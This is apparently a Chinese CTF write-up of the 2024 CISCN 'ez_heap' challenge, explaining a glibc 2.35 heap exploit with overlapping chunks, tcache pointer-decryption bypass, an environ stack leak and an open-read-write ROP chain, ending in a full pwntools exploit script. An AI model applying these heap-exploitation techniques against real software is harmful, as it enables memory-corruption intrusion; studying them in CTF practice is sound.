environ泄露栈地址+沙盒堆
juancake 发表于 山东 二进制安全 1121浏览 · 2024-09-07 11:03

ez_heap

发现2024ciscn ez_heap很少有用environ泄露栈地址的方法做这道题的,借此来梳理一下 environ泄露栈地址的过程。

标签

libc2.35, 堆溢出 ,orw , uaf, off by one, environ泄露栈地址

environ

先来介绍一下environ,在Linux C中,environ是一个全局变量,它储存着系统的环境变量。它储存在libc中,因此environ是沟通libc地址与栈地址的桥梁。

如图:即为一个程序中environ的具体信息:

environ的利用

通过libc找到environ地址后,泄露environ地址处的值,可以得到环境变量地址,环境变量保存在栈中,通过偏移可以得到栈上任意变量的地址。

保护

strings libc.so.6 | grep ubuntu
seccomp-tools dump ./pwn

保护全开,libc版本为2.35,沙盒orw均可用

程序漏洞

标准的堆菜单,add,del,edit,show,exit都有。

edit函数里面可以编辑堆块大小,造成堆溢出。

del函数里面把记录堆块的数组置0了而不是堆块本身,所以存在uaf。

show函数 printf 函数 %s存在 \x00截断,不遇到0会一直打印下去。

思路

这个题开了沙箱,有uaf,堆溢出。利用思路:借助environ泄露栈地址,利用uaf将orw写到栈地址上。

泄露libc基址

利用off by one打一个叠堆

add(0x408,b'aaaa')#0
add(0x408,b'aaaa')#1
add(0x408,b'aaaa')#2
add(0x408,b'aaaa')#3

edit(0,0x500,b'a'*0x408+p64(0x821))
delet(1)
add(0x408,b'a')#1
show(2)
p.recvuntil(b'content:')
libc = u64(p.recv(6).ljust(8,b'\x00')) - 0x21ace0
success("libc_base:"+hex(libc))

由于是seccomp开的沙箱,所以会有很多的堆内存(用prctl就不会有这么多释放的堆内存),因此为了方便做题,我们先申请4个大堆块和那些堆内存区分开来。然后利用edit函数里的堆溢出,修改chunk1的size位使其大小为0x821(两个0x408加两个chunk头),导致chunk1的data位覆盖了chunk2,这样free掉chunk1后连带着chunk2一块被free掉。再把chunk1申请回来,由于chunk2的下标还存在,并处于unsortedbin中,所以可以利用show函数泄露出libc基址。

泄露heap地址

对于libc2.29以后的版本,tcache存在指针加密机制。附上源码:

static __always_inline void 
    tcache_put (mchunkptr chunk, size_t tc_idx)
    {
      tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
      /* Mark this chunk as "in the tcache" so the test in _int_free will
         detect a double free.  */
      e->key = tcache;
      e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
      tcache->entries[tc_idx] = e;
      ++(tcache->counts[tc_idx]);
    }
    static __always_inline void *
    tcache_get (size_t tc_idx)
    {
      tcache_entry *e = tcache->entries[tc_idx];
      if (__glibc_unlikely (!aligned_OK (e)))
        malloc_printerr ("malloc(): unaligned tcache chunk detected");
      tcache->entries[tc_idx] = REVEAL_PTR (e->next);
      --(tcache->counts[tc_idx]);
      e->key = NULL;
      return (void *) e;
    }

这是tcache源码中关于指针加密的内容。PROTECT_PTR:对 pos 右移了 12 位(去除了末尾的 3 位信息),再异或原来的指针(在这之前 next 储存的内容)。在题目里面看,为了方便理解这个加密机制,我free掉两个chunk

delet(4)
delet(5)

可以看到这两个chunk都进入到了tcachebin中,可以发现chunk5的fd指针并没有指向chunk4,很明显是被加密了,那么chunk5的fd加密指针是怎么计算的呢?可以总结为以下公式。

0x5d5e48d5fc03 =0x5d5b9d6c3 ^0x5d5b9d6c2ac0

了解了tcachebin fd指针加密机制,我们回到这道题,进行heap地址的泄露。

add(0x408,b'aaaa')#4 & 2
add(0x408,b'aaaa')#5
add(0x408,b'aaaa')#6
delet(4)
show(2)
delet(5)
p.recvuntil(b'content:')
heap = u64(p.recv(5).ljust(8,b'\x00'))<<12
success("heap_base:"+hex(heap))

先申请3个堆块,由于刚刚chunk2被free掉了,所以chunk4就是chunk2。再把chunk4free掉,使其进入tcachebin中

可以发现chunk4中的fd指针的内容,是自己的data位地址左移三位。根据刚才的fd指针加密机制,可以明白chunk4的fd地址是自身data位地址左移三位后与0x0异或得到的(因为此时tcachebin对应该大小范围的一列只有chunk4一个堆块),为了方便计算chunk4与其他堆块的偏移,我们再在它后面添上3个0。所以我们泄露的heap基址其实是chunk4末三位置零的地址。

泄露栈地址

可以发现environ内是存有栈地址的,所以接下来的任务就是泄露environ中的栈地址。

#chunk6_fd加密
heap = (heap_base + 0x16e0)>>12  
tar = environ - 0x410
fd = heap^tar
success("tar:"+hex(tar))

delet(6)
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(5,0x500,pay)

add(0x408,b'aaaa')#4 
add(0x408,b'aaaa')#6  tar_addr
edit(6,0x500,b'a'*0x40f)
show(6))
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x168
success("stack_addr:"+hex(stack_addr))

刚才提到泄露的heap_base其实是chunk4末三位置零的地址,我们通过加上它和chunk6之间的偏移,再右移三位,和目标地址tar异或构造chunk6的fd指针,此时的fd解密后即指向tar地址(environ - 0x410)。为什么不直接指向environ呢?

可以看到add函数在申请chunk时会将chunk里面的内容全部置零,如果直接指向environ的话,就无法打印其地址了。

刚刚我们分析show函数的时候提到这里的printf能一直打印直到\X00截断,我们可以利用这一特性,先在environ上方申请一个堆块(此时data位全部置零),然后利用edit函数编辑堆块大小覆盖到environ,再填充垃圾数据到environ,执行show函数即可打印出environ中的栈地址

stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x168

注意到泄露的栈地址减去了0x168的偏移,这是因为我们要把orw链写到add函数的栈地址上,这样add ret的时候就会执行orw

我们把断点下到add函数的ret处,调试一下,计算一下偏移0x7ffe273e3f88 - 0x7ffe273e3e20 = 0x168

#gdb.attach(p, "b *$rebase(0x16cc)")
rsp      0x7ffe273e3e18 —▸ 0x5ddaedc81aa5 ◂— jmp 5ddaedc81ab6h   
         0x7ffe273e3e20 —▸ 0x7ffe273eb000 ◂— jg 7ffe273eb047h
         0x7ffe273e3e28 ◂— 0x101000000
          ···············································
environ  0x7ffe273e3f88 —▸ 0x7ffe273e53b3 ◂— 'SHELL=/bin/bash'

构造orw链

再来一遍tcachebin_attack,把orw上传到add的栈上即可。这里有个注意的点,orw链是syscall的结构,因为open函数会破坏栈结构。

还有就是syscall的地址是syscall_ret的那个,用ropper工具才能找到。

rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_rbx = libc_base + 0x904a9
rax = libc_base + 0x45eb0
syscall_ret = libc_base + 0x91316

orw=b'./flag\x00\x00'  #process
#orw=b'/flag\x00\x00'  #remote
orw+=p64(rdi)+p64(stack_addr-0x10)
orw+=p64(rsi)+p64(0)
orw+=p64(rax)+p64(2)
orw+=p64(syscall_ret) #open(./flag,0)

orw+=p64(rax)+p64(0)
orw+=p64(rdi)+p64(3)
orw+=p64(rsi)+p64(stack_addr - 0x300)
orw+=p64(rdx_rbx)+p64(0x30)*2
orw+=p64(syscall_ret) #read(3,stack_addr - 0x300,0x30)

orw+=p64(rax)+p64(1)
orw+=p64(rdi)+p64(1)
orw+=p64(rsi)+p64(stack_addr - 0x300)
orw+=p64(rdx_rbx)+p64(0x30)*2
orw+=p64(syscall_ret) #write(1,stack_addr - 0x300,0x30)


add(0x408,b'aaaa')#7
add(0x408,b'aaaa')#8
add(0x408,b'aaaa')#9
add(0x408,b'aaaa')#10
delet(9)
delet(8)
#dbg()
heap = (heap_base+0x1f00)>>12
tar = stack_addr - 0x10
fd = heap^tar
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(7,0x500,pay)
add(0x408,b'aaaaaaaa')#8
add(0x408,orw)#9

exp

汇总一下exp

from pwn import *
p=remote('pwn.challenge.ctf.show',28113)
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
def debug():
    gdb.attach(p)
    pause()
def dbg():
    gdb.attach(p, 'b *$rebase(0x16cc)')

add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3

def choice(cho):
    p.sendlineafter('choice >> ',cho)

def add(size,content):
    choice(str(1))
    p.sendlineafter(b'size:',str(size))
    p.sendlineafter(b'content:',content)

def delet(idx):
    choice(str(2))
    p.sendlineafter(b'idx:\n',str(idx))

def show(idx):
    choice(str(4))
    p.sendlineafter(b'idx:',str(idx))

def edit(idx,size,content):
    choice(str(3))
    p.sendlineafter(b'idx:',str(idx))
    p.sendlineafter(b'size:',str(size))
    p.sendlineafter(b'content:',content)

def exit():
    p.sendlineafter(b'choice >> ',b'5')



add(0x408,b'aaaa')#0
add(0x408,b'aaaa')#1
add(0x408,b'aaaa')#2
add(0x408,b'aaaa')#3

edit(0,0x500,b'a'*0x408+p64(0x821))
delet(1)
'''
show(1)
libc1 = u64(p.recv(6).ljust(8,b'\x00'))-0x21ace0
success("libc1_base:"+hex(libc1))
'''
add(0x408,b'a')#1
show(2)
p.recvuntil(b'content:')
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x21ace0
success("libc_base:"+hex(libc_base))
#dbg()
add(0x408,b'aaaa')#4 & 2
add(0x408,b'aaaa')#5
add(0x408,b'aaaa')#6
delet(4)
show(2)
#delet(5)

p.recvuntil(b'content:')
heap_base = u64(p.recv(5).ljust(8,b'\x00'))<<12
success("heap_base:"+hex(heap_base))

rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_rbx = libc_base + 0x904a9
rax = libc_base + 0x45eb0
syscall_ret = libc_base + 0x91316
environ = libc_base + libc.symbols['environ']

#chunk6_fd_cy
heap = (heap_base + 0x16e0)>>12  
tar = environ - 0x410
fd = heap^tar
success("tar:"+hex(tar))

delet(6)
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(5,0x500,pay)


add(0x408,b'aaaa')#4 
add(0x408,b'aaaa')#6  tar_addr
edit(6,0x500,b'a'*0x40f)
show(6)
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x168
success("stack_addr:"+hex(stack_addr))
#gdb.attach(p, "b *$rebase(0x16cc)")

orw=b'/flag\x00\x00'
orw+=p64(rdi)+p64(stack_addr-0x10)
orw+=p64(rsi)+p64(0)
orw+=p64(rax)+p64(2)
orw+=p64(syscall_ret) #open(./flag,0)

orw+=p64(rax)+p64(0)
orw+=p64(rdi)+p64(3)
orw+=p64(rsi)+p64(stack_addr - 0x300)
orw+=p64(rdx_rbx)+p64(0x30)*2
orw+=p64(syscall_ret) #read(3,stack_addr - 0x300,0x30)

orw+=p64(rax)+p64(1)
orw+=p64(rdi)+p64(1)
orw+=p64(rsi)+p64(stack_addr - 0x300)
orw+=p64(rdx_rbx)+p64(0x30)*2
orw+=p64(syscall_ret) #write(1,stack_addr - 0x300,0x30)


add(0x408,b'aaaa')#7
add(0x408,b'aaaa')#8
add(0x408,b'aaaa')#9
add(0x408,b'aaaa')#10
delet(9)
delet(8)
#dbg()
heap = (heap_base+0x1f00)>>12
tar = stack_addr - 0x10
fd = heap^tar
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(7,0x500,pay)
add(0x408,b'aaaaaaaa')#8
add(0x408,orw)#9

p.interactive()
0 条评论
某人
表情
可输入 255